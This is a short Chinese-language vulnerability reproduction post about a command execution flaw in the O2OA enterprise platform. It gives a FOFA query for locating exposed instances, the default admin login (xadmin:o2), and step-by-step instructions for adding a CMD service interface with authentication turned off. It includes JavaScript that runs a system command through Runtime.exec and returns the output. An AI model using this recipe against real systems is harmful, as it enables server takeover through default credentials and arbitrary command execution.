漏洞描述

O2OA是一款Java开源企业信息化建设平台，包括流程管理、门户管理、信息管理、数据管理和服务管理五大平台，可以极大程度上减化企业信息化建设成本和业务应用开发难度。O2OA invoke后台存在命令执行漏洞，攻击者通过漏洞可以获取服务器权限。
 

fofa

title=="O2OA"

漏洞复现

1.输入默认账户密码登录系统

xadmin:o2

2.点击左上角图标→服务管理→新增CMD接口→复制如下执行whoami命令代码→启用鉴权选否→保存→点击运行即可得到回显

var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("whoami").getInputStream()));

var result = [];

while (true) {

    var oneline = bufReader.readLine();

    result.push(oneline);

    if (!oneline) break;

}

var result = { "Result": result };

this.response.setBody(result, "application/json");

感谢您的来访，获取更多精彩文章请收藏本站。